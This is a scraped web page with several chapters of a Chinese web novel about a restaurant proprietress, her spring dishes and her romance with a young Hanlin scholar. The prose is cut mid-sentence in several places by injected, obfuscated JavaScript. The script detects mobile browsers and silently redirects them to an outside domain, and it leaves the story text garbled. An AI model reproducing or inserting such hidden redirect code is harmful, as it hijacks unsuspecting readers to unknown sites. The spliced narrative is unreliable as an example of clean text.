蓝锦抿着嘴儿笑了：“咱们今天的春盘还是没能按原样做。荤菜料子凑不齐，海蛎子没寻到，用些虾子干贝鸡肉丝，凑合一下罢了。” 悟雅小声惊呼：“不得了，我家祖上定是积了大德。自从来了咱们蓝记，吃干贝都只能算是凑合凑合！” 蓝锦接了汝月摊好的金黄蛋皮，利索地切作细丝。 备好的春饼零件此时不必组装，仍旧原样放好。只因饼皮薄透，非得即卷即吃。 提前卷了，只怕菜汁子融了饼皮，又变成一碟小菜。 说来也怪，同样的菜色，裹在饼皮里，就是比单吃起来美味，这是为什么？ 蓝锦思来想去，盖因一口包罗乾坤，万鲜齐涌。如此一来，再挑嘴的人，也会拜倒马下吧。 食篮装得满当当，蓝锦犒劳忙活了半天的大功臣，和加油了半天的小秋。 薄饼上抹一层鲜甜口的辣酱，红彤彤的只是虚张声势，并不很辣。 撒上一层紫菜酥，芫荽碎，再把所有的菜色都挤成长条堆满。若爱吃甜，再撒糖撒蜜皆可。 卷春卷一定得周全精心——皮子太薄，稍一用力就破了口子。 咬春的人又往往眼大肚小，无论哪一种菜，都要多多地来。 如是蹑手蹑脚地裹成一个小枕头，小秋两只小肉胳膊高举：“我吃阿姐卷的！我吃阿姐卷的！” 碎米牙给春饼咬出一个大大的缺月，笑容在饼筒和孩童的小脸上交映。 蓝锦笑着揉揉酸软的肩膀，单论功夫，名不见经传的春饼属实是金贵吃食。 洗菜切丝，炒菜摊饼，全酒楼的伙计齐上阵，这大半日都耗在上头。 蓝锦觉得，对待恋人都没有如此精心——她也没谈过恋爱。 曾经旁观她室友的曲折恋情，蓝锦琢磨着，应该是这么回事吧？ 蓝记酒楼的踏春属实算得上松弛。 蓝锦一行人坐在半山腰，瞧着亭子旁长了绿油油的车前草，喜上眉梢地采了些。 拿到山谷小溪边洗涮了，现支起铁锅，倒上明油，撒些薄盐，热闹闹地烹炒起来。 “你们瞧，谁家的女郎，上巳踏青，竟还带着锅碗瓢盆。” “何止，只怕还有油盐酱醋！” 众人一阵哄笑。 一群俊美风雅的少男少女立在远处看热闹，分明养眼似画中人，说出的话却不怎么好听。 蓝锦心下暗叹，我辈中人到底难寻呀！ 她笑眼弯弯，扬声道：“那边的小娘子，小郎君，可是馋了，想尝尝我家的饭菜？” 几人齐齐后退一步，手拿折扇的朱冠郎君小声道： “这女娘怎会如此胆大，都不知害臊为何物。” 旁边人接口：“人家可是蓝记的大掌柜，亲自写戏讥讽祖宗的人物。把一个赫赫扬扬的侯府都拉下了马，自请削爵外放了！” “嗳，竟有此事？” “可不是嘛。都道心不正不食，想来她做出的饭食，也不净不诚。” 大家纷纷点头附和，却没一个人舍得离开。 “小娘子，可愿赏光，分我一碗羹？” 蓝锦放下手里的盘子，抬头一看，是笑容和煦的萧仁禹。 “自然不敢不从。” 看热闹的人群翕动起来，纷纷向前致礼。 那可是最年轻的探花郎，圣上最看好的翰林院编修。 有传言说他会参与今年的科考策题阅卷，少不得就会做了最年轻的大学士知贡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542006|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举。 而且，校场走过一遭的人都知道。他揍人很疼，很疼。 身上了无功名的白身们，纷纷上前致礼。 “萧大人。” “萧兄，您怎么来了？” “今日天气倒好，难得萧翰林有雅兴。” 萧仁禹风轻云淡地说了句“不必”。 回头一瞧蓝小娘子，整颗心都扑在她的鲜炒野菜上。 车前草有一股浓郁的清新香气，细品还有浅淡的回甘。蓝锦想，若是切剁了，上了热屉，蒸作大野菜包子，定然也是好味。 搭上鲜肉拌成馅，做薄皮馄饨，使鸡汤打底，喝上一碗，鲜呐。 或是什么功夫也不费，鲜灵灵地焯了水，拌上麻油，佐清粥吃，有滋有味。 萧仁禹无奈地叹了口气，转身继续应付众人的攀谈。 今年便要下场的人，此刻恨不得把自己心窝子掏出来给萧翰林看一看。 指着萧仁禹手里的车前草，便要赋诗一首了。 眼见面前的人热情高涨，萧仁禹的面色还是冷冷淡淡的，间或严肃地“嗯”上一声。 众人无不夹起尾巴做人，生怕留下什么坏印象。 水患说了，民生议了，边疆的问题也大放了许多厥词，现下谈到了圣上惜才之心，枉图旁敲侧击地打听取士的标准。 萧仁禹老神在在，将众人的面孔逐一收入眼底：“某以为士之为学，首在正心。好谈是非，竞逐浮声；名节未立，已为世笑。诸君尤当以慎独为要。” 当下众人忙缩手缩脚，谨听萧翰林的训诫。 有机灵的，立刻跑到蓝锦面前，致礼道歉：“小娘子，对不住，实不该妄议娘子，此举太过冒犯，我今后再不会了。” 萧仁禹点点头，不再揪着他们不放。 蓝锦笑嘻嘻地看着这群霜打的茄子走远，对萧仁禹说：“作甚这么严肃，叫人说两句又不会少块肉。” 萧仁禹正色道：“若论修身修心，小处最不能放过。言行不合乎圣人之道，自当改正。” 蓝锦笑捧一盘春饼到脸前：“萧郎君瞧，这道春盘合不合乎圣人之道？若是不合，我也不乐意听你训的。” 萧仁禹紧紧盯着蓝小娘子的动作，宽袖下的雪腕上各戴了一只鸡血红的玉镯，更衬得肌肤白润。 饶是在卷烟火气十足的春饼，这动作叫她做来却赏心悦目。 十指翻飞，卷得一个鼓胀的小饼。蝉翼般的外皮，透出五颜六色的内馅。 “喏，谢你解围，若不嫌弃，便尝尝我家的春饼吧。” 萧仁禹赶忙答应，虔诚接过。咬上一口，万般鲜味涌上舌尖。 落荒而逃的少男少女一路跑到了山脚，才有人觉出不对味来。 “不是，萧翰林不是最不重口腹之欲了吗？怎会跟人讨要饮食？” “奇哉怪哉，难不成，他同那位开食店的掌柜，是识得的？” “你们都不知道啊，弹劾浔阳侯的折子，是走了萧府的门路递进中枢的！” “啊？” “这么说来，萧大人和这位大掌柜的关系，大有文章啊！” 64. 第64章 梁若虹晨起必用一碗冰糖燕窝粥，四季不落。这是她的养生之道。 蓝锦瞧着这几两银子一碗的滑腻物什，暗自啧舌。 哪怕是金丝燕的口水，也至多是些蛋白质。 若论实际作用，并不比鸡蛋、牛奶、甚至时价颇贱的猪瘦肉更优越。 又传言燕子唾液属酸，利于美白养颜。如果此言为真，想来豆腐皮之流也能有几分功用了？ 蓝锦不知打哪里听说的。富庶地方的山寺，虽然普通僧人只吃粗茶素斋，奢侈些的住持，为着养生考虑，朝进牛乳，午食银耳，日日不落。 ——瞧，不必燕窝，胜似燕窝。 这种寺里头一定有好点心。香气扑鼻的荷叶素包，或是浇了蜜水的杏仁酪。 倘若点心不精，讲究挑剔的住持第一个不答应。 高洁飘逸的苦行僧们，又是另一种做派。食必粗盐，饮必陈茶。 蓝记大动干戈酿出来的味极鲜，叫这些德高望重的师父见了，定要斥为“小资做派”。 所以啊，爱吃素燕窝的方丈们，也有其可爱之处。 但蓝锦并不跟梁若虹多嘴燕窝的不是——她懂，仪式感嘛！ 既然家里吃得起，老祖宗又爱这个口味，何必满口道理讨人嫌。 何况，梁若虹是很有原则的人。如今寻回了蓝锦，心情一日好过一日，连听雪轩的口重菜肴都不再去吃了。 ——她自家就有大厨。 每餐吃得也少。尤其晚餐，几块瓠瓜端子，一碗青菜豆腐汤，便极满足。也是防着睡前不好克化。 生冷食物，梁若虹也不碰。 所以蓝锦姐妹的上巳踏春之行，她一口拒了，转头去大长公主府上做客。 回来就问蓝锦：“听说你做了什么薄皮春饼，勾得萧家二郎口水直流？” 蓝锦失笑。天都的小娘子小郎君，个个都是大嘴巴。 蓝记酒楼也迎来了几拨上门的客，劈头就问：“掌柜的，可有春饼卖？要薄皮的，不过油的那种。” 蓝锦摇头笑道：“这个不做的。家常吃吃还行，若是售卖，太耗工夫了。” 客人无一不拊掌喟叹：“唉！可惜可惜。看样子，唯有和蓝小娘子做了顶亲近的朋友，才能分润一口春饼尝尝鲜。” 蓝锦与客人笑谈了一番遗憾经。落花风雨更伤春，不如怜取眼前食。 春天是最经不起遗憾的时令。 清明前的香椿芽，清香扑鼻。若不及早掐了尖，很快便老了。发涩，发苦，塞牙。 豌豆苗也是如此，嫩时一折便“啵”的一声脆响。裹着荤油炒了，不过撒点薄盐，唇齿留鲜。 老来韧得嚼不动，满口粗丝，更失了鲜美。 蓝锦不做负春人。酒楼选了上好的腊肉，肥瘦相间，未切时三指宽，轻轻一挤便要流出金黄的油。 汝月忍不住夸：“好成色！” 切成大片，层层垫了春笋片，大火上汽去蒸。 熟了的笋蒸肉，笋里裹着荤油，肉里浸着清香。肉鲜味借了笋鲜味，你也不油，我也不腻。 悟雅当仁不让地咬一口，险些连舌头一起吞下去。 “小娘子，你是怎么做的菜，怎么都那么香啊！” 蓝锦看着她要哭不哭的表情，又笑着往她怀里塞了一碟甜豆腐干。 各种干子是绝佳的下酒菜。 酒楼不能无酒。蓝锦联络了惯走水路的商队，定了几百坛上好花雕。 一半温来待客，一半竟是入菜。 江汝月看了，是目瞪口呆的：“师父，如此不惜工本？” 一贯精打细算的蓝锦，在此事上却极大方：“一分食材一分味，花雕最配荤腥，增香提鲜的！” 悟雅倒是接受良好，笑话汝月大惊小怪： “你也不看我们娘子，每道菜定了多贵的价钱。羊毛都打羊身上出！” 也是，就这碟小小的甜卤豆腐干，起个风雅的名字，售价能比成本翻出十几番。 汝月是每日流连厨间的人，觉得这话很该一驳，却又无从辩起。 蓝锦就把各样碟子都取来：“瞧咱们家的豆干，有咸的，有甜的，有硬的，有耙的，有烟熏的，有盐卤的。” “莫说别家吃不到这样全，有些味道，若不是我们做了出来，谁家会想起来卖？” 悟雅从未这样想过，也觉颇有道理。 光顾酒楼的顾客，还是有钱有闲的占多数，在口味上也有些追求。 ——不然，吃白水煮肉、开水烫菜，岂不更方便快捷？ 倘若吃到一种别处没见过的佳肴，是不是念念不忘，情愿一掷千金？ 蓝记酒楼就积攒了一大批这样的老饕。他们在蓝记存的银子，简直够蓝锦再盘一家店。 “大掌柜，老样子，温一壶酒，其余你安排！” 老大人往老位子上一坐，熟稔地说。 蓝锦笑容可掬地替客人做主： “今日来了鲜荸荠，水灵灵的，就做个荸荠炒鸡丁。春笋也正嫩，配上鲜蘑、粉丝，荞麦面做皮子，蒸上一屉素饺。” “若要下酒，给您上一碟茶干。劲道有嚼头，配花雕正正好。” 果不其然，老大人胡子轻翘，颇为满意。 豆腐干下酒的习俗不知由何人发明，蓝锦从未在异国见过。 尤其亚洲之外，最多吃些豆奶、豆泥、豆饼。无人这样满腔热情地，侍弄花样繁多的豆制品。 可以佐餐，可做主食，可以入菜。 就拿最常见的说：北豆腐和南豆腐，一扎实一嫩滑。在此之上又有冻豆腐，涮火锅煮汤一绝。 还有豆腐的副产品——豆干、腐竹、豆皮、腐皮...... 腐乳也分南北，成块的佐粥极下饭，许多菜色又用南乳当佐料。连酱卤牛肉都要加了腐乳的才好吃。 潮汕的腐乳鸡翅，通体深橙红色，是家里复刻不来的滋味。 非得到小摊上去买，才有那种一口爆汁的脆嫩感。 盖因他们锅大油厚，火候又好，牢牢锁住了腐乳的鲜汁子。 蓝锦还想起小时放学，不急着回家，先去炸货摊子上买一串炸素鸡。 撒一层咸味干料，再抹一层甜鲜湿酱。 盼下课铃的日子，想的就是这一口，豁了门牙也要大嚼。 臭豆腐也是极伟大的东西，各地都有。 长沙的炸臭干更是卖遍全国，把复杂卤水发酵而成的豆腐，炸得乌黑脆硬。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542007|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >摊主在当心掀开一个口子，泼了辣椒蒜水，撒上葱花香菜榨菜碎。 小心地咬上一口，烫，却鲜。外酥里醇，欲罢不能，实为经典。 小学生们还是最爱一碗豆腐脑。这个名字含义太广，咸甜之争被迫锁于其下。 北方的咸豆腐脑质地更硬，往往是石膏点的。 泼了带肉臊的勾芡卤汁，撒了葱花、香菜——嗜辣之人还能加辣油。 辣也有限，不会叫人唇舌发痛。 或许还有些木耳、黄花菜。配上一根蓬松的大油条，一上午都不会饿了！ 南方的甜豆腐花，则用内酯豆腐多一些。 较之可作早餐的咸豆腐脑，更像清爽的点心。 空口吃也香，撒白糖也可，泼红糖水也罢。 花生碎、芝麻末、姜汁......哎呀，美味。 蓝锦在这满怀深情地追忆讲古，面前的馋鬼个个眼都直了。 小秋人小没经验，一滴口水没包住，“叭哒”滴到地上。 “阿姐！想吃那个红色的腐乳鸡翅，还有五香炸素鸡！” 汝月痴痴地问：“所以说，南边的豆腐花都是甜的吗？” 蓝锦笑道：“那可是大大的冤枉。” 冷不丁有人踏进灶间，是官服还未褪下的萧仁禹。 他一路行来，还瞧见了一贯严肃的自家上司，时任翰林承旨、位同内相的沈伯濂。 ——正一筷子一筷子往嘴里夹荸荠炒鸡脯。小鸡啄米一样，已经叫他很受冲击。 “小娘子竟去过这么多地方？” 蓝锦她们齐齐回头。 这人好不拿自己当外人，厨房重地，也是闲人来得的？ “那倒不是，不过是游记上看来的。萧郎君可是要点菜？”蓝锦讪笑，信口模糊道。 “我倒想听完娘子的豆花论。” 本就是要讲的，蓝锦略清了嗓子： “萧郎君不记得，我在你家做过烧椒豆花牛柳？那便是西南的吃法。绿豆发酵的软滑豆花，咸辣过瘾，拌饭吃极美。” “还有一道顶有名的过江豆花，也是石膏或盐卤点的，什么都不搁。” “料碗里搁酱油、花椒面、油辣子、豆豉酱、葱花，吃的时候人手一碗，蘸着吃，鲜香有味。” 萧仁禹立刻打定了主意：“今日我便要一份过江豆花。” 蓝锦瞥他一眼，这人好不拿自己当外人。 到底还是唤了个伙计过来，嘱咐他去生药铺子买石膏粉。 “酒楼不备这个菜，要吃只能现与你做。且得等着，至少半个时辰！” 萧仁禹美滋滋。这话叫他一听，那便是无人吃过这菜，是蓝娘子特特给他做的。 等又何俱，正愁找不到理由在蓝记消磨。 他趁势托人回萧府报信，今日也不回家用暮食了。要等蓝娘子的豆花！ 这还未得意几时，便听上司唤自己：“怀瑾！来与我共饮，莫错过这好茶干！” 萧仁禹谦恭有礼蹭上了饭。咸鲜有嚼头，带点烟熏余味，果然妙。 沈伯濂吃得兴致高昂，看着自家最欣赏的下属，关怀起来： “这会儿还独自游荡。怀瑾这个年纪，很该娶个新妇了。” 65. 第65章 一想起这事，蓝锦便要偷笑。 萧大翰林未吃上豆花便蚀把米。在酒楼赖着不走，反叫长辈捉住了催婚。 蓝锦从前有个师父，是饮食行当难得的女性掌门人。 旁人真情假意地催她嫁人，她把菜刀“唰”地往菜板上一撂：“我这辈子就跟菜刀结婚了。” 长辈乐见喜宴多过悲事，人之常情。 当时，蓝锦端着荞麦三鲜蒸饺上菜。 瞧着萧仁禹可怜兮兮的求救眼神，险些想说：“喏，菜刀借你！” 萧国公府，蒋长昭满腹犹疑。 萧仁禹从来只在值房和家中书房流连，再添上一个卧房，实乃三点一线，雷打不动。 “怀瑾，近来为何总在外头用饭？” 细细想来，这个苗头在他大哥把他扔去山里野训之后，便起来了。近日愈演愈烈。 萧仁禹沉默以对。 蒋长昭习惯他如此，追问道：“你可曾给你妹妹去信催一催？也不知她转去哪里了，何时归家。认亲宴还等着她！” 萧仁禹肯定地说：“去信了。” 只不过，他在信中，列了她麾下娘子军的名录。 以此威胁萧清珩，未经他的允许不准归家，否则就捅到所有人的长辈那里。 心机阴险的萧仁禹，风度翩翩地走进了蓝记酒楼。 因着上巳节的旖旎，仲春时节，蓝记酒楼迟来地庆祝起了花神节。 店里的伙计人人头上斜插一只山茶花，捧着托盘，笑得春风和煦。 每位进店的客人，都被递上一小盏桃花酒。 “客人，且品一杯春色。” 清冽醇香的佳酿入喉，醉倒花间也不悔。 捧着杏花酥的人又跟上来。 “客人，再尝一口春光。” 萧仁禹笑拈一枚杏花酥：“这糕别致，竟也是杏花样子。” 蓝锦瞧着这位丰神俊朗的郎君——呀，现成的模特。 她冷不丁往前迈上一步，趁势往萧仁禹的头上簪上一只洛阳红。 红艳的牡丹更衬得他面如冠玉。 蓝锦笑着调侃：“这下可是‘郎艳独绝，世无其二’①了。” 时人还未有簪花习俗，更别提男子簪花。 萧仁禹默默地纵容了蓝锦的“恶趣味”，并没有将花取下，还听话去看蓝锦手中磨得透亮的铜镜。 蓝锦笑得开怀：“古有《离骚》君子佩兰草，今有玉面探花簪牡丹。美哉妙哉！” 萧仁禹踟蹰片刻，鼓足勇气从花盘里取出一支海棠：“此花晕红如醉，娇憨可爱，正衬娘子。” 到底没敢亲自将花簪到人家头上。 蓝锦笑着接过，大方地往鬓边一别。她最爱海棠。 此花迎晨露而开，花有睡姿。 叫赏花人唯恐夜深花睡，只好红烛高照，以映美人。② 春日簪花，簪得就是这份洸洋自恣。 蓝锦赞了萧仁禹的眼光。揽镜自照，是比编进发辫的杏花更夺目。 “青春得意时若不尽欢，只恐日后悔之晚矣！对着娇艳无匹的鲜花，都要生出憎恨之意了。” 蓝锦笑着，想象萧翰林人之老矣，佯醉才得以插花满头的样子，又低头偷笑。③ ——所以这花别拿下来，合该簪个一天，四处招摇才好。 直叫人人驻足，赏一赏俏郎君帽檐边的红云浮动。 萧仁禹步伐都慢了下来，唯恐碰掉了小娘子的心意。 “今儿也有好饭食，萧郎君稍待。” 蓝锦已经很习惯替萧仁禹作主——横竖他不挑，什么都吃，什么都赞。 若是叫听雪轩的吴仲芳知道，定要破口大骂她胡诌。 今日庄子上送来了不足二斤的嫩鸡，便是后世口中的童子鸡。 鸡小肉嫩，活鸡宰了，去脏去头去尾。几炸几卤，做成棕红色的炸童子鸡。 有人以为童子鸡大补，蓝锦只看重其味大美。 鸡这一物，在现代大型棚养之前，是金贵而体面的家禽。 其实鸡是最靠富贵的食材。现代白羽鸡价廉，皮下脂肪也厚，一股肥腻味道。 漫山遍野散养的鸡则不同，连鸡皮都脆弹鲜美，乳黄色的，做汤都使得。 蓝锦切了酸笋，剥了鸡皮，一汆即起。撒上胡椒、香葱和芫荽，便是一道酸笋鸡皮汤。 嫩鸡好吃，个头大的草鸡也有妙处。 嫩黄的鸡翼冷水下锅，煮至半熟。再反复用冷水冲洗，逼它皮肉紧致。 像做鸡翅包饭那样，剁去骨节，抽出两根大骨，而鸡皮还是完整不破的。 然而并不是鸡翅包饭那样简单，里头塞上香菇丝，自家腌的火腿丝，肥嫩的春笋丝。 三丝塞好，上汽蒸上半个时辰。 直到内馅的鲜美完全融入鸡肉，鸡油叫香菇、春笋吸收殆尽。 便把剩下的汤挂芡收汁，泼到脱骨鸡翅上。 “萧郎君，这道是‘龙穿凤翼’，单子上没有，我可只做这一回，且低调着吃吃罢了。” 蓝锦蹑手蹑脚迈进厢房，压低声音。 萧仁禹也随着她用气音小声应道：“知道了。” 蓝锦不知这“龙凤”二字犯不犯忌讳，不过此间只有他们二人。 经她口入他耳，两人都不是莽撞人，蓝锦相信无妨。 这道菜近乎无处可寻，蓝锦还是在一位不世出的老师傅那里学到的。 今日不知为何，突发奇想，欲在萧仁禹面前露上一手。 此菜吃起来糯滑鲜嫩，蓝锦以为胜过鸡翅包饭良多。 对于这种特特做出的饭菜，萧仁禹只盼多多益善，嘴角暗自勾得老高。 瞧，在小娘子面前，他到底跟别人不同。 鸡皮咬起来只脆不肥，配着三丝鲜美非常。舌面的每一处味蕾都舒展开了。 品着这道独一无二、日后难寻的佳馔，萧仁禹吃得极珍惜：“鲜香味美。” 伙计又吆喝着端来一碗油焖笋。 春日不能无笋。蓝锦从前便会守住菜场，从春笋上架吃到落市。 会做菜便有这个好处。这样的时令鲜蔬，若是在饭店售卖，其价不低于许多荤菜。 买上三五支，便能炒上一碟油焖笋，堪称春笋的最优解法。 不过，现在角色倒转了。 蓝锦是开门迎客的精明商人，叫得上价的油焖笋，是一等一的创收菜。 自土里弹跳而出的春笋，一定要即砍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542008|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即食。莫等笋节变长，笋衣干瘪，颜色发深。 只是自己烹炒，难免收拾得苦，洗泥去衣，过了水，一刻不停地颠锅翻炒。 好在现下楼里不缺好厨子，这个体力活，蓝锦只手把手教了一遍，余下就让旁人代劳。 笋子炒得不失鲜嫩。下厨者真个一刻都没停手，未曾叫它失了水，发木发絮。 炒这笋时，为了凸显其嫩，是加了高汤的。 小火略煮一会，叫它不至过于油，又没有失了嚼头。 吃起来仍然那么脆弹，柔，鲜，香。 蓝锦不知不觉也在桌边坐下，捧着碗饭品这棕亮的春笋。 萧仁禹一开始还摆“不是小娘子做的我不吃”的架子。 蓝锦知他这毛病，暗自腹诽：挑食鬼。 眼下瞧着蓝锦红唇翕动，吃得津津有味，他忍不住也举筷一夹。 缘何普通的菜肴，让小娘子吃过，突然就便得生生可爱起来？ 蓝锦擦擦嘴角，看着行止潇洒的簪花郎君，优雅进食。 古人云秀色可餐，诚不欺我！ 掌灯时分，梁府摆了晚膳。 梁若虹抬头看了一眼百忙之中插空回家，替她洗手做羹汤的蓝锦： “今儿倒是回来得早，还有功夫替我炒个小青菜。” 蓝锦听她这酸溜溜的话音，冲小秋一使眼色，两人拖着梁若虹的双臂左右摇摆。 “哎呀！这可就冤枉我了。我可是专门挑了薄霜打过的甜青菜，趁着露水未落的时候掐的。” “专选了叶片多的，个头小的，软糯清甜。菜根也斩去了，外头的厚叶子也不要。” “怕它起蔫，还在清水里浸一个时辰。” 梁若虹细看箸中夹的细长叶子，确实青翠欲滴，颜色漂亮。 连大片的叶子都切作了两半，力求片片匀称。 菜心是最后下锅的，所以不软耷，还透着鲜脆。 大叶子的菜梗不发白，却还保持着弹硬和酥感。盖因蓝锦最后倒了一小碗鸡汤煨煮。 这样做出来的炒青菜，不黄不蔫，也没有生味，一点糖粒提了咸鲜味。 裹的虽是猪油，却薄薄一层。只有刮油的份，不至于腻嗒嗒，膈应胃肠。 小秋也没掉链子，龇着新长的门牙，跟梁若虹撒娇： “阿姐今日为了赶回家吃法，都推了一桌宴席！” 梁若虹已经叫姐妹俩哄得勾起嘴角，眉毛佯挑：“蓝大掌柜竟然舍得？” 蓝锦道：“可不是嘛！银钱赚不完，陪我们老祖宗才是正经事。” 梁若虹展了笑颜： “陪我倒不算什么。只是日日劳累，叫人看不过眼。也得歇歇，松快一下。” “近来萧家二郎总往咱家送些古玩字画，我都挺喜欢的。” “浔阳侯外放的事，我怎么听说，他也从中出了力。” “你寻个日子，得去萧家走一趟。见了这孩子，也替我道声谢。他是个贴心的。” 蓝锦心中惊讶。 原先以为，萧仁禹坚决不愿让蒋长昭认干亲。 只当他天性孤寡，不喜拉亲套近，也为避朋党之嫌。 谁知，他背着自己，先讨好起了未来长辈？ 66. 第66章 春日的雨总是带了些和煦的暖。 春风醉人，于是细雨也柔情蜜意。蓝锦收了油纸伞，拭去鬓边的水雾。 好在雨并不大，倘若打落了院中的月季，又要伤了许多惜花人的心了。 今日蓝锦和小秋的早饭是韭菜河虾饼。春雨一打，韭菜的鲜嫩气就遮不住了。 韭菜实在是一等的提鲜妙物。蓝锦记得后世说清宫野史，有一妃子极爱韭菜。 只是韭菜吃起来颇累肠胃，口气也不甚美。所以御膳房每回只少少地做上一小份，聊解嘴馋。 若像兼具鲜嫩，又不让韭菜“咬人”，最好选韭黄。鹅黄色，瞧起来就比翠绿韭菜友善。 从前的引车卖浆的百姓，到了午间，一手捧着一块市场新割来的鲜猪肉，一手拎着一提韭黄。 大马金刀地往街边小店的长凳上一坐，让店家把菜收拾了，再要上一斤大饼。 热气腾腾的家常烙饼一上桌，便把肉往上头一倒。 厚厚地铺上一层韭黄，裹成一个小枕头，风卷残云吞下肚，酣畅淋漓。 蓝锦收拾着面前的韭黄，琢磨着，是做菜合子，还是炒瘦肉？ 若有苕皮、豆干一类，就不必犹豫，全都切剁了做烧烤。 韭黄碎、泡萝卜碎、香葱花、酸豆角，皆裹在咸而辣的苕皮里头。 外面烤得焦脆，糯软的苕皮充当天然的封口，把个春韭葱花的汁水牢牢锁在里头。 咬上一口，嘴角流油，唇舌沾满麻香干料，嘶哈...... 豆干比起苕皮来更艮、更肥嫩。 牙齿一咬，像是在齿间弹跳。 最终还是切了小里脊，嫩嫩地炒了一盘韭黄肉丝。 汝月如今已是煲得一手好汤。青萝卜配排骨，咕嘟咕嘟的，香味从灶间飘到大堂。 “蓝掌柜，酒楼又上新菜色了。” 斜挎金刀的校尉走进来，帽檐边还别着一朵山茶花。 蓝锦且惊且喜，笑问：“如今天都也时兴起簪花了吗？” 校尉神秘一笑：“蓝掌柜不知道，本朝有位最年轻的探花郎，深负皇恩。” 最年轻的探花郎，蓝锦已然清楚，不就是萧大翰林嘛。 “前些时日，他簪着一朵牡丹，自街市打马而过，瞧见的人都说昳丽。” 校尉以手遮唇，声音放低： “都说，少不得就是上面的那位所赐。天都士子悄悄模仿起来了，只盼蹭到几分文运。这不是礼部快要放榜了嘛！” 蓝锦奇道：“郎君莫非也去应举了？” 校尉摆手连连：“那不能够，我家里头都是习武的，跟文气半分沾不得边。像萧探花的那般弃武从文，可不是人人都有的成就。” “莫非，簪了这花也能沾染到几分武运？”蓝锦调笑道。 “有这意思，有这意思”，校尉笑得开怀，“关键是，簪了这花，心里自觉光彩照人。” “连娘子都愿意多给几分笑颜。每日晨起，她选花，我簪花，两人簪得一样的，也是一大乐事呀！” 悟雅前来上菜，听得最后这话，兴冲冲炫耀：“萧翰林上回簪的花，便是我们家掌柜选中的！” 如是一语戳破，校尉笑看蓝锦：“原来如此，原来如此！” 蓝锦面不改色地岔开话题：“客官，今日店里来了好鸭子，蒸煮也好，炒鸭丝也成，或是熬了鸭油做鸭肉包子，油香肥润的。可要一试？” 校尉拍板：“都要！” 鸭子这物，天南海北都有拿手好菜，使出看家本领。 好比北京的烤鸭，鸭皮烤得丰腴剔透，色若琥珀。 蘸上特别调味的甜面酱，韧薄面饼卷上黄瓜丝，大葱丝。多一分则腻，少一分则寡。 蓝锦的高中同学，远赴大洋彼岸读书。圣诞节时不吃烤鸡，千方百计地弄来一只鸭子。 提前几天吹鸭皮、刷糖水，守在烤箱边虔诚地向上苍祈祷。 怕它焦糊，又怕它不熟。 好容易真烤成了，片得厚薄不均的鸭肉，也依样卷在印度薄饼里头，千里万里地买那未经调味的甜面酱，几样一配，聊仿三分意。 待鸭肉卷一做成，她兴奋得无异于中了几百万英镑的彩票，骄傲地在社交软件上昭告天下。 于是方圆几个街区的留学生，全都闻讯赶来，激动地把烤鸭卷夸得天上有地上无，称她神厨在世。 馋嘴的人能做出什么事，是许多人无法想象的。 如此可见，北京烤鸭这种刻在人基因里的味道，试过一次，就愿意永远追随。 视频里，面对蓝锦“有几分像”的好奇发问，这位新晋神厨大手一挥： “比起这里发软的糖醋鸡球，甜得发腻，还配菠萝青椒。或是酥炸五香鸭子——那可是一个天上一个地下了！” 还是那句话，没吃过的厨子，很难做出那种味道。 蓝锦也是佩服得五体投地，赞她不惜工本，不怕费工时。 人家理直气壮道：“以前都有人从鸭蛋开始养鸭子，鸭生只许吃糯米。” “喂得膘肥体壮，宰了炖了，还要把鸭子整个扔了，只喝几口汤。” “我的烤鸭与他那糯米鸭汤比起来，简直精打细算。” 蓝锦失笑。 糯米填鸭“只喝汤”之流，虽则过分暴殄天物，却也勘破了美食的两大真谛。 一是食材要适宜，二是不健康的食物往往好吃得不得了。 填鸭的肥美一定优于草鸭。是以蓝记酒楼只是短暂地上了一下烤鸭，便撤了水牌。 ——细品不是那个味道。 好吃的北京烤鸭，用的一定是填鸭。要完全不腥不膻；鸭油之肥润，偏还如水如泉，鲜味夺人。 这里的鸭子完全达不到那种水准。蓝锦满怀遗憾，完全理解了留学神厨的心思——她只是想吃口烤鸭啊！ 宁缺毋滥，吃不到鲜味藏在每一丝鸭□□里的烤鸭，蓝锦到底将这道菜下了架。 没办法，她实在不懂，怎么喂出美味的填鸭。 好在鸡与鸭一样，都是旧时富贵食。老派的鸭子做法只多不少，只精不滥。 蓝锦指挥着汝月舀了发酵好的甜酒糟，做了一道酒酿清蒸鸭子，特别合乎时人的口味。 几个大厨齐齐动作，不一会儿，几道精致菜肴就端上了校尉的餐桌。 荠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 